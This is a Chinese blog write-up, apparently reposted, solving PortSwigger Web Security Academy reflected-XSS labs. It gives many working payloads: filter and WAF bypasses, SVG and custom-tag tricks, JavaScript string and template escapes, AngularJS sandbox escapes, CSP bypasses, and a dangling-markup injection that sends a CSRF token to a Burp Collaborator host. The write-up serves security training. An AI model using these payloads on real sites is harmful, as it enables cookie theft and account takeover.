Portswigger-web-security-academy：reflected_xss

Posted 2020-12-06 R3col

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Portswigger-web-security-academy：reflected_xss相关的知识，希望对你有一定的参考价值。

reflected xss

reflected xss

Reflected XSS into html context with nothing encoded

题目要求

调用alert函数
解题过程

请求：

url/?search=asd

返回：

<h1>0 search result for ‘asd‘</h1>

发现参数search直接嵌入到了html里

直接插入xss payload就型

<script>alert()</script>

Reflected XSS into HTML context with most tags and attributes blocked

题目描述

在搜索功能点可以xss，但是有waf

要求自动调用alert(document.cookie)
解题过程

试了半天没有找到可以利用的标签，用burp测试<$$>

发现body标签可用

试了半天没有找到可以利用的时间，用burp测试<body $$>

发现onresize标签可用

查了一下，onresize在窗口被调整大小时调用

构造payload：<body onresize=alert(document.cookie)>

都弹窗了还是没有给过，才发现有个Exploit Server，是要构造csrf的payload：

<iframe src="https://ac701fd21fa553d380da369500960007.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width=‘100px‘>

保存然后deliver exploit to victim即可

这里查了可调整窗口大小的js方法window.resizeTo(x,y)，但是不起作用，最后用了官方solution里的this.style.width=‘100px‘，后来测试了一下，window属性是原本页面的属性，不是iframe的属性，所以无法激活onresize函数
参考

标签/事件/payload字典：https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Reflected XSS into HTML context with all tags blocked except custom ones

题目描述

过滤了除过自定义标签之外的所有HTML标签

要求alert(document.cookie)
解题过程

自定义标签无法使用onload属性，去上到题用到的cheat-sheet查了一下，发现了这个payload：<xss id=x tabindex=1 onfocus=alert(document.cookie)></xss>，但是不会弹窗，于是我加了个autofocus

<xss id=x tabindex=1 onfocus=alert(document.cookie) autofocus></xss>

这里autofocus起作用的原因在于tabindex的意义，tabindex是用来控制tab键的控制次序的，xss标签添加了tabindex属性，让它本身具有了被autofocus的功能（我的理解若有错误，欢迎指正）

但是会无限弹窗 = =，手动f12跳过还是不给过，然后发现要去Exploit Server！！！

ctmd真好，然后deliver之后还是不给过，应该是因为无限弹窗吧

去看了官方solution，用了锚（hash），很巧妙，给xss标签定义id为x，然后用#聚焦到锚点x

payload： <script>location = "https://aca61f4e1f84997480181c8b0035004a.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>

Reflected XSS with event handlers and `href` attributes blocked

题目描述

一些白名单里的标签可以xss，但是所有事件和href属性都被ban掉了

要求通过点击调用alert函数
做题过程

用burp测了下白名单标签，有<a> <animate> <discard> <image> <svg> <title>

<a href=javascript:alert()>Click</a>

测试发现，事件过滤的是<x onxxx，没什么用

然后去搜索标签介绍的时候，看到了一篇利用<animate>标签xss的介绍^[1]，里面给的payload：<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>，但是payload里用到了href，无法利用

仔细读了一遍介绍，觉得svg+animate+a是可行的，然后继续去找相关的介绍，看到了第二篇介绍^[2]，这篇介绍里给了一个payload：<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javascript:alert(1)>（有href属性，与题目环境不符），自己用phpstudy进行测试，很有意思，这个payload是利用animate的attributeName和values属性给父标签赋值

需要做的是用文字把image标签替换掉，这里试了很多种，但是都无法显示，觉得很奇怪（f12可以看到元素，但是页面没有显示），于是想到第一篇介绍payload里的text标签，测试之后发现，svg画布里，text标签要有x,y属性才会显示，然后配合animate给父元素赋值的特性，构造payload：<svg><a><text x=20 y=20>Click me</text><animate attributeName=href values="javascript:alert()">

之后测试发现，<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(1)>，这个payload也可以，利用的是animate的from,to赋值特性

还有个发现，text标签没有在burp给的标签列表里，得去添加上
参考

Reflected XSS with some SVG markup allowed

题目描述

站点过滤了一般标签和事件，但是一些SVG的标签和事件被忽略了

要求调用alert函数，（只能在Chrome中实现）
解题过程

试了下上到提的payload，发现animate标签被ban了

然后看了一下，发现discard没有被ban，去cheat-sheet搜payload，找到<svg><discard onbegin=alert(1)>

Reflected XSS into attribute with angle brackets HTML-encoded

题目描述

在搜索功能点可以xss，但是<>会被HTML编码

要求调用alert函数
解题步骤

输了asd，查看页面变化
```
<input maxlength="600" type="text" placeholder="Search the blog..." name="search" value="asd">
```
可以看到关键词asd被潜入了value

构造payload：" onfocus=alert() "

点击之后会一直弹窗，f12跳过之后不给过

换个payload：" onmouseover=alert() "

Reflected XSS in canonical link tag

题目描述

站点会过滤<>并反弹用户在canonical link tag 里的输入

要求调用alert函数

提示：假设用户会按ALT+SHIFT+X，CTRL+ALT+X，ALT+X
解题过程

先看了下元素
```
<link rel="canonical" href="https://ac001fe01fae00fd80342313000a00d3.web-security-academy.net/">
```
尝试的时候发现双引号被url编码了，但是单引号可以

payload：url?asd%27accesskey=%27alt%2bshift%2bx%27onclick=%27alert(1)

Reflected XSS into a JavaScript string with single quote and backslash escaped

题目描述

在search query tracking功能点处可以xss，会编码单引号和反斜杠

要求逃逸出js字符串，调用alert函数
解题过程

关键代码
```
<script>
	var searchTerms = ‘asd‘;
	document.write(‘<img src="/resources/images/tracker.gif？searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
</script>
```
这里涉及了html解析标签的机制，浏览器解析标签的顺序是：

遇到<x>考试标签，去寻找</x>结束标签，然后才解析标签里的内容

所以只需要直接嵌入结束标签即可

payload：</script><img/src=x onerror=alert()>

Reflected XSS into a JavaScript string with angle brackets HTML encoded

题目描述

在search query tracking功能点处可以xss，会编码尖括号

要求逃逸出js字符串，调用alert函数

解题过程

关键代码

<script>
    var searchTerms = ‘asd‘;
    document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
</script>

没过滤单引号，直接闭合就可以

构造payload：‘;alert()//

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

题目描述

在search query tracking功能点处可以xss，尖括号和双引号会被HTML编码，单引号会addslash（转义，添加）

要求逃逸出js字符串，调用alert函数
解题过程

因为只对单引号进行了addslash，所以可以在单引号前加一个，就变成了\‘，单引号会正常表达

构造payload：‘;alert()//

Reflected XSS in a JavaScript URL with some characters blocked

题目描述

为了防止xss，ban掉了一些字符，

要求调用alert(1337)
解题步骤

点进一个blog，看源码，发现可以这块代码的url是可控的
```
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26asd‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
```
尝试过程：
- 限制条件：
  - 路径是被URL编码过的
  - ，()，HTML实体编码被过滤了
想到了javascript后是js环境，考虑//注释，尝试过程中发现"可以闭合href

考虑了利用html解析机制，但是过滤了HTML编码，最主要的是=会被url编码

尝试了很多方法，都没法闭合前面圆括号里的语句，不闭合的话，点击链接浏览器会报错，onerror也不会被调用

去看了官方solution
```
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
```
这些字符虽然被url编码，但是仍能起作用，这才想起来！这是在href上下文里，会被url解码。

核心在于throw的用法，利用捕获错误的语句，调用alert函数

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

题目描述

在搜索博客功能点可以xss，<> ‘ " ` 会被unicode编码

要求调用alert函数

解题过程

关键代码

<script>
    var message = `0 search results for ‘sss‘`;
    document.getElementById(‘searchMessage‘).innerText = message;
</script>

这道题我是没想到的，有个东西叫做js模板，相当于字符串里的占位符，但里面的代码可以执行，用法：${code}

payload：${alert()}

Reflected XSS with AngularJS sandbox escape without strings

题目描述

这道题用了AngularJS，在该环境里$eval函数不可用，并且不能使用任何字符串（？？？）

要求调用alert函数
解题过程

AngularJS的环境在[前面的题]里见到过，有现成的payload{{$on.constructor(‘alert(1)‘)()}}
- 关键代码
```
<script>angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
        $scope.query = {};
        var key = ‘search‘;
        $scope.query[key] = ‘{{2*2}}‘;
        $scope.value = $parse(key)($scope.query);});
</script>

<h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for {{2*2}}</h1>
```
用不了字符串，就需要把payload改造一下，但我改造不出来 = =
- 官方的solution
payload：1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
- 翻译：
这个exp使用了toString()函数来创建一个不需要引号的字符串，然后拿到String的原型并重载charAt函数，以此逃逸出沙盒环境（因为我们重载了charAt函数，所以原生js的用法会被允许）。然后，一个数组被传递给orderBy过滤器，我们使用toString()来设置过滤器的参数，以此创建一个字符串以及一个字符串构造器的原型。最后，我们使用fromCharCode方法生成我们的payload。
- 我的理解：
  - 构造payload：
    
    重载把原本用于返回指定位置字符的charAt函数转换为join函数
    
    之后的过滤器和orderBy把数组转换成了字符串
    
    利用构造器使用fromCharCode函数构造payload
    
    最后的=1是调用重载后的函数，把payload赋值给[1]
  - 补充（文档说明）
    
    逃逸AngularJS沙盒
    
    AngularJS沙盒逃逸的方法有很多，最为熟知的是利用expression来重载charAt()。
    
    即：‘a‘.constructor.prototype.charAt=[].join
    
    AngularJS会执行该表达式，并重载charAt()函数，这将导致charAt()函数会一次性返回所有传入的字符，而非单个的字符。由于AngularJS里isIdent()函数（大概是检测输入字符是否合法的函数）的逻辑是比较传入字符与特定字符，而单个字符总是小与字符串，所以isIdent()函数总会返回true，进而可以任意代码执行。
  - 利用：
```
angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
                            $scope.query = {};
                        var key = ‘search‘;
                            $scope.query[key] = ‘1‘;
                        $scope.value = $parse(key)($scope.query);
                            var key = ‘toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)‘;
                          $scope.query[key] = ‘1‘;
                            $scope.value = $parse(key)($scope.query);
                        });
```
    可以看到通过1&payload进行了参数污染，把payload赋值给了key，以便利用$parse函数加载payload，太巧妙了

Reflected XSS with AngularJS sandbox escape and CSP

题目描述

这道题使用了CSP和AngularJS

要求绕过CSP，逃逸AngularJS沙盒，并调用alert(document.cookie)

CSP：Content Security Policy，内容安全策略，以白名单的机制对网站加载或执行的资源起作用。在网页中，这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护，但是他也造成了如下问题：Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。

how-does-an-angularjs-csp-bypass-work：csp会禁止使用Function构造函数，并且会阻止js事件。但是AngularJS定义了它自己的事件，可以利用这个特性来绕过CSP。在Chrome中，$event/event有一个特殊的属性path，这个属性包含了一个可以造成事件被执行的对象的数组。这些对象里最后一个总会是window对象，我们可以利用它来进行沙盒逃逸。通过把这个数组传递给过滤器orderBy，我们可以枚举数组元素并使用window对象来执行全局函数，例如alert()，payload：

<input autofocus ng-focus="$event.path|orderBy:‘[].constructor.from([1],alert)">

但是这道题会限制长度，上面的payload用不了，所以需要思考其他方法来隐藏window对象，方法之一是使用array.map()函数，例如：[1].map(alert)，map接收一个函数并通过数组中的每一个对象来调用
解题过程

文档给的提示已经足够多了，只需要组装payload即可

我最先想到的是<input ng-focus=$event.path|orderBy:‘[1].map(alert)(document.cookie)‘>

但是无法弹窗，应该是map()的用法有问题

修改后：<input ng-focus="$event.path.map(alert)(document.cookie)">

去看了map()的介绍，修改了payload：

<input ng-focus=$event.path.map(alert,documen.cookie)>

仍然无效，又试了很多种方式，都无效

去看了官方solution，payload如下：

<input id=x ng-focus=$event.path|orderBy:‘(x=alert)(document.cookie)‘>

我的理解是：根据(x=alert)进行排序，但是只有一个对象符合，进而执行

Reflected XSS protected by CSP, with dangling markup attack

题目描述

这道题使用了CSP来限制xss

要求盗取csrf token来修改另一个用户的邮箱地址
解题过程

看起来和stored_xss里最后一道一样，试了一下，被禁止跨域请求

标题说了是标签注入的反射型xss，先去看看哪里可以xss，发现邮箱的input标签用的name，name命名可以通过get传值

验证：https://ac931fc31e60f5f4808b184f00880021.web-security-academy.net/email?email=xss">

返回：
```
<input required="" type="email" name="email" value="xss">
<img src="x" onerror="alert()">
```
但是这里禁止了跨域加载资源，禁止了自定义函数，不知道怎么把这个csrf token传出去，看了solution，有点巧妙

（放到exploit server）

?email=xss"><table%20background=‘//tkh0i1f2cwy0aj1e0yhmdf15uw0mob.burpcollaborator.net/?

利用单引号把后面的标签都当作get参数传给Burp Collaborator，就可以拿到token了

之后使用burp自带的CSRF PoC生成器（在http请求报文里右键Engagement tools -> generate CSRF PoC），生成一个自动提交（右上角option里面选）的csrf表单，放到exploit server提交

Reflected XSS protected by very strict CSP, with dangling markup attack

暂留

Reflected XSS protected by CSP, with CSP bypass

暂留

? 笔者水平有限，如果所述有错误，欢迎指正交流。

以上是关于Portswigger-web-security-academy：reflected_xss的主要内容，如果未能解决你的问题，请参考以下文章